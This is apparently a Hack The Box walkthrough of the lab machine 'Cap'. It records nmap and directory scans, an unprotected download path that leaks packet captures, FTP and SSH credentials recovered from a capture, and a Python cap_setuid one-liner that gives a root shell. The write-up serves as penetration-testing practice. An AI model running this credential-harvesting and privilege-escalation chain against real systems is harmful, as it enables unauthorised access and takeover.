

# ***credentials***

cap.htb  
target ip:10.10.10.245  
my ip:10.10.14.7

nathan:Buck3tH4TF0RM3!

# report

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Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 01:12 EDT
Nmap scan report for 10.10.10.245
Host is up (0.072s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp    open  http      Gunicorn
|_ http-server-header: gunicorn
|_ http-title: Security Dashboard
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   13.45 ms  10.10.14.1
2   13.60 ms  10.10.10.245

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.03 seconds
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Navigating through the website we found that there is a data and a download directory.

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Target: http://10.10.10.245/
[01:28:05] Starting:
[01:28:15] 302 - 208B - /data/autosuggest → http://10.10.10.245/
[01:28:15] 302 - 208B - /data → http://10.10.10.245/
[01:28:15] 302 - 208B - /data/adminer.php → http://10.10.10.245/
[01:28:16] 302 - 208B - /download/users.csv → http://10.10.10.245/
[01:28:16] 302 - 208B - /download/history.csv → http://10.10.10.245/
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Target: <http://10.10.10.245/>

[01:29:15] Starting:

data/

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[01:29:17] 200 - 17KB - /data/03
[01:29:17] 200 - 17KB - /data/0
[01:29:17] 200 - 17KB - /data/01
[01:29:17] 200 - 17KB - /data/00
[01:29:17] 200 - 17KB - /data/1
[01:29:18] 200 - 17KB - /data/3
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Target: <http://10.10.10.245/>

[01:31:46] Starting:  
download/

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[01:31:49] 200 - 10KB - /download/00
[01:31:49] 200 - 10KB - /download/0
[01:31:49] 200 - 2KB - /download/01
[01:31:49] 200 - 24B - /download/03
[01:31:49] 200 - 2KB - /download/1
[01:31:49] 200 - 24B - /download/3
[01:31:49] 200 - 3MB - /download/2
[01:31:49] 200 - 2MB - /download/04
[01:31:49] 200 - 3MB - /download/02
[01:31:50] 200 - 2MB - /download/4
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These are the files created when we do a security snapshot

Security Snapshot (5  
Second PCAP + Analysis)

But data and download directories are not securised. We can access any file in them.

The first pcap file contain sensitive data in a ftp connection request

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220 (vsFTPd 3.0.3)
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USER nathan
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331 Please specify the password.
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PASS Buck3tH4TF0RM3!
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230 Login successful.
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SYST
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nathan:Buck3tH4TF0RM3!

These credentials work for ssh and ftp

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7f038920207373e3a7f1001ca129bce0
→ Downloads ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHZRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue Sep 30 06:04:48 UTC 2025

System load:          0.0
Usage of /:            36.6% of 8.73GB
Memory usage:         23%
Swap usage:           0%
Processes:            233
Users logged in:      1
IPv4 address for eth0: 10.10.10.245
IPv6 address for eth0: dead:beef::250:56ff:fe94:7dd8

⇒ There are 4 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
  footprint of MicroK8s to make it the smallest full K8s around.

  https://ubuntu.com/blog/microk8s-memory-optimisation

63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Sep 30 04:33:24 2025 from 10.10.15.4
nathan@cap:~$

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python have root capabilities so we can spawn a bash with it and have root privileges

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Files with capabilities (limited to 50):
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/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
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/usr/bin/ping = cap_net_raw+ep
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nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# whoami
root

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